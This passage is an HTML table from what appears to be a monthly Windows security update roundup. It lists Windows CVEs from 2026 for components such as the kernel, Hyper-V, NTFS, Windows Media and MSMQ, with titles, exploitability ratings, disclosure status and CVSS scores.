href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50426">CVE-2026-50426</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50424">CVE-2026-50424</a></td><td><p>Windows Domain Controller Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50300">CVE-2026-50300</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50437">CVE-2026-50437</a></td><td><p>Windows DWM Core Library Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34348">CVE-2026-34348</a></td><td><p>Windows Event Logging Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50502">CVE-2026-50502</a></td><td><p>Windows Event Logging Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33842">CVE-2026-33842</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40422">CVE-2026-40422</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41087">CVE-2026-41087</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50473">CVE-2026-50473</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50442">CVE-2026-50442</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50389">CVE-2026-50389</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50456">CVE-2026-50456</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57084">CVE-2026-57084</a></td><td><p>Windows File Explorer Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57091">CVE-2026-57091</a></td><td><p>Windows File History Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50405">CVE-2026-50405</a></td><td><p>Windows Filtering Platform Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49172">CVE-2026-49172</a></td><td><p>Windows FTP Service Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50387">CVE-2026-50387</a></td><td><p>Windows GDI Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54122">CVE-2026-54122</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49796">CVE-2026-49796</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50380">CVE-2026-50380</a></td><td><p>Windows GDI+ Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50483">CVE-2026-50483</a></td><td><p>Windows Graphics Component Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58609">CVE-2026-58609</a></td><td><p>Windows Graphics Component Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50391">CVE-2026-50391</a></td><td><p>Windows Group Policy Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50310">CVE-2026-50310</a></td><td><p>Windows Human Interface Device Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50485">CVE-2026-50485</a></td><td><p>Windows Hyper-V Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54129">CVE-2026-54129</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54127">CVE-2026-54127</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50680">CVE-2026-50680</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50315">CVE-2026-50315</a></td><td><p>Windows Image Acquisition Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58534">CVE-2026-58534</a></td><td><p>Windows Input Method Editor (IME) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50490">CVE-2026-50490</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58540">CVE-2026-58540</a></td><td><p>Windows Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50425">CVE-2026-50425</a></td><td><p>Windows Internal System User Profile Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50293">CVE-2026-50293</a></td><td><p>Windows Internal Task Bar Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49167">CVE-2026-49167</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49173">CVE-2026-49173</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54132">CVE-2026-54132</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49795">CVE-2026-49795</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49798">CVE-2026-49798</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49808">CVE-2026-49808</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50354">CVE-2026-50354</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50332">CVE-2026-50332</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50377">CVE-2026-50377</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50436">CVE-2026-50436</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316"><br>CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58602">CVE-2026-58602</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50393">CVE-2026-50393</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50396">CVE-2026-50396</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58544">CVE-2026-58544</a></td><td><p>Windows Management Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50404">CVE-2026-50404</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50336">CVE-2026-50336</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50398">CVE-2026-50398</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50414">CVE-2026-50414</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50379">CVE-2026-50379</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50676">CVE-2026-50676</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50677">CVE-2026-50677</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50327">CVE-2026-50327</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58542">CVE-2026-58542</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50342">CVE-2026-50342</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56183">CVE-2026-56183</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56187">CVE-2026-56187</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56181">CVE-2026-56181</a></td><td><p>Windows Network Address Translation (NAT) Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less 